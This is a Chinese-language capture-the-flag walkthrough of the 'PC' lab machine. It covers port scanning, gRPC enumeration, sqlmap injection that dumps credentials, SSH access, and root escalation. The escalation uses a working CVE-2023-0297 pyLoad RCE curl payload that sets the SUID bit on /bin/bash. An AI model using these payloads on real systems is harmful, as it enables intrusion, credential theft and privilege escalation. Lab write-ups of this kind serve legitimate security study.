PC靶机

本身并不是特别难的靶机,但是在 getshell 的过程中,需要足够的信息收集能力,提权的过程也并不复杂,不过需要一定的经验。

PC 靶机

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
┌──(i3eg1nner㉿minilite)-[~/Downloads]
└─$ sudo nmap -sT -sV -O -p22,50051 10.10.11.214
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-31 07:28 EDT
Nmap scan report for 10.10.11.214
Host is up (0.0034s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
50051/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.93%I=7%D=5/31%Time=64772F74%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running (JUST GUESSING): Linux 5.X|4.X|2.6.X (98%), Crestron 2-Series (90%)
OS CPE: cpe:/o:linux:linux_kernel:5.0 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:crestron:2_series
Aggressive OS guesses: Linux 5.0 (98%), Linux 4.15 - 5.6 (92%), Linux 5.0 - 5.4 (91%), Linux 5.3 - 5.4 (91%), Linux 2.6.32 (91%), Linux 5.0 - 5.3 (90%), Linux 5.4 (90%), Crestron XPanel control system (90%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.32 seconds

22 端口 ssh 服务的渗透优先级较低,50051 的服务并没有被识别出来,漏洞脚本扫描也失败。

1
2
3
4
5
6
7
8
9
10
11
┌──(i3eg1nner㉿minilite)-[~/Downloads]
└─$ sudo nmap --script=vuln -p22,50051 10.10.11.214
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-31 07:30 EDT
Nmap scan report for 10.10.11.214
Host is up (0.0035s latency).

PORT STATE SERVICE
22/tcp open ssh
50051/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 10.69 seconds

只能借助于网络搜索了,查了一下,50051 大概率是 gRPC 服务,博客末尾附上 gRPC 的详解。这里简单介绍一下,gRPC 是谷歌发起的一个开源远程过程调用系统,基于 HTTP/2 协议传输

在 gPRC 里客户端可以向调用本地对象一样直接调用另一台不同机器上服务端应用的方法,使得您能够更容易地创建分布式应用和服务。

在如何利用 gPRC 方面,找到了一篇博客:gRPC Security Series: Part 3. Security Vulnerabilities in gRPC | by IBM PTC Security | Medium

博客中涉及几个工具和环境,包括:go 环境、grpcurl、grpcui、Burpsuite。grpcurl 和 grpcui 的安装使用 go install 命令即可,在不指定环境变量中的路径的情况下,go get 安装的工具会放在用户目录下的 go/bin 文件夹里。关于安装时参考了这篇文章:Install grpccurl in Ubuntu. grpcurl is a command-line tool that… | by Prince Pereira | Medium

端口渗透

接下来就是按照博客中的提示,逐步去尝试的过程

1
2
3
4
5
6
7
8
9
10
┌──(i3eg1nner㉿minilite)-[~/go/bin]
└─$ ./grpcurl -plaintext 10.10.11.214:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection

┌──(i3eg1nner㉿minilite)-[~/go/bin]
└─$ ./grpcurl -plaintext 10.10.11.214:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo

通过 grpcurl 工具查看了服务,接下来需要使用 grpcui 来在网页端查看,这个网页中的功能框由三个功能可以切换,分别是 LoginUser,RegisterUser,getInfo,在使用 getInfo 的时候,返回信息是没有 token,那我们先注册一下吧。除此之外需要注意得是,注册后一段时间,账户信息会自动清除,操作必须迅速一些,下图是注册信息

注册后返回了注册成功,登录后返回 id 和 token,注意这里我们关注的是 token 中单引号之间内容

getInfo 中输入 2 时返回的结果

getinfo 输入 1 时返回的结果

SQL 注入

根据这个 token,我们尝试 getInfo 的功能,当输入非预期的字符的时候有报错,这就存在 SQL 注入的可能,接下来我们使用 burpsuite 抓包,然后另存为,将其保存下来以便使用sqlmap

sqlmap -r pc -p id

sqlmap -r pc -p id --tables

sqlmap -r pc -p id -D SQLite_masterdb -T accounts --columns

sqlmap -r pc -p id -D SQLite_masterdb -T accounts --batch --threads 5 --dump

获取初步 shell

得到了用户名和密码,接下来尝试 ssh 登录一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(i3eg1nner㉿minilite)-[~]
└─$ ssh sau@10.10.11.214
The authenticity of host \'10.10.11.214 (10.10.11.214)' can't be established.
ED25519 key fingerprint is SHA256:63yHg6metJY5dfzHxDVLi4Zpucku6SuRziVLenmSmZg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.214' (ED25519) to the list of known hosts.
sau@10.10.11.214\'s password:
Last login: Wed May 31 06:48:37 2023 from 10.10.14.40
sau@pc:~$ whoami
sau
sau@pc:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:21:5e brd ff:ff:ff:ff:ff:ff
inet 10.10.11.214/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:feb9:215e/64 scope link
valid_lft forever preferred_lft forever
sau@pc:~$ sudo -l
[sudo] password for sau:
Sorry, user sau may not run sudo on localhost.
sau@pc:~$ uname -a
Linux pc 5.4.0-148-generic #165-Ubuntu SMP Tue Apr 18 08:53:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

提权

登录成功,接下来进行提权的操作,定时任务中没有有效信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)
sau@pc:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

查看网络端口状态,发现 127.0.0.1:8000 端口跑了一个服务,那就考虑使用 SSH 隧道,在本地浏览器查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sau@pc:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN
tcp 0 0 10.10.11.214:22 10.10.14.40:53522 ESTABLISHED
tcp 0 208 10.10.11.214:22 10.10.14.30:47880 ESTABLISHED
tcp 0 0 10.10.11.214:22 10.10.14.40:44572 ESTABLISHED
tcp 0 0 10.10.11.214:22 10.10.16.8:38773 ESTABLISHED
tcp 0 0 10.10.11.214:22 10.10.16.8:36229 FIN_WAIT2
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::50051 :::* LISTEN
tcp6 0 0 10.10.11.214:50051 10.10.14.30:39562 ESTABLISHED

看起来是个后台登录界面,在谷歌上搜一下它的 exploit,发现存在一个 CVE 编号的代码执行漏洞

CVE-2023-0297: Pre-auth RCE in pyLoad

1
2
3
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'

看一下 pyload 进程,发现是 root 权限在运行,也就是说接下来我们使用上面的 exp 中的代码执行,也是以 root 权限运行,那我们可以把 /bin/bash 改为 s 权限 chmod u+s /bin/bash

1
2
3
sau@pc:~$ ps aux |grep pyload
root 1043 0.0 1.4 1215780 58416 ? Ssl May31 0:08 /usr/bin/python3 /usr/local/bin/pyload
sau 21965 0.0 0.0 8160 2572 pts/0 S+ 01:41 0:00 grep --color=auto pyload

接下来就是运行上面的代码,值得注意的是,需要经过其中构造的希望被执行的代码只有 url 编码后,才能成功执行

1
2
3
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"`chmod%20u%2Bs%20%2Fbin%2Fbash`");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sau@pc:~$ curl -i -s -k -X $'POST' \
> --data-binary $'jk=pyimport%20os;os.system(\"`chmod%20u%2Bs%20%2Fbin%2Fbash`");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
> $'http://127.0.0.1:8000/flash/addcrypted2'
HTTP/1.1 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 21
Access-Control-Max-Age: 1800
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: OPTIONS, GET, POST
Vary: Accept-Encoding
Date: Thu, 01 Jun 2023 01:48:24 GMT
Server: Cheroot/8.6.0

Could not decrypt keysau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)
sau@pc:~$ /bin/bash -p
bash-5.0# id
uid=1001(sau) gid=1001(sau) euid=0(root) groups=1001(sau)

提权成功

gRPC 知识补充

主要参考博客:gRPC Security Series: Part 1. Introduction to gRPC | by IBM PTC Security | Medium

gRPC 是一个开源高性能的远程过程调用(RPC)框架,支持 Binary framing ,并且因为使用的是支持多路复用的 HHTP/2,因此传输更轻便时延较低。

The core problem that gRPC is trying to solve is communication delay. gRPC uses HTTP/2 as its transfer protocol

Protobuf 文件是定义 gRPC 服务时的核心组件之一。客户端和服务器都需要具有相同的原型文件。proto 文件充当客户端从服务器调用任何可用函数的中间合约。

Protobuf 特定用途的架构将数据类型与字段名称相关联,使用整数来标识每个字段。Protobuf 数据仅包含数字,不包含字段名称,与在数据中包含字段名称的系统相比,可提供一些带宽/存储节省。

常用工具:

  • gRPC Curl
  • gRPC UI
  • Evans CLI
  • BloomRPC
  • Insomnia

grpcurl

grpcurl -plaintext localhost:50051 list

让我们尝试使用以下命令挖掘并找出博客服务中存在的服务 grpcurl -plaintext localhost:50051 list blog.BlogService

grpcurl -plaintext localhost:50051 describe blog.BlogService.CreateBlog

要了解如何通过此模板传递数据,我们将使用以下命令使用 msg-template 标志

为了传递一些数据,我们需要使用 -d 标志。

grpcui

运行一个可以通过浏览器访问的本地实例,在随机自由端口中启动进程。

SSH 退出登录命令

1
logout

PC靶机
https://i3eg1nner.github.io/2023/05/8697a8337304.html
作者
I3eg1nner
发布于
2023年5月31日
许可协议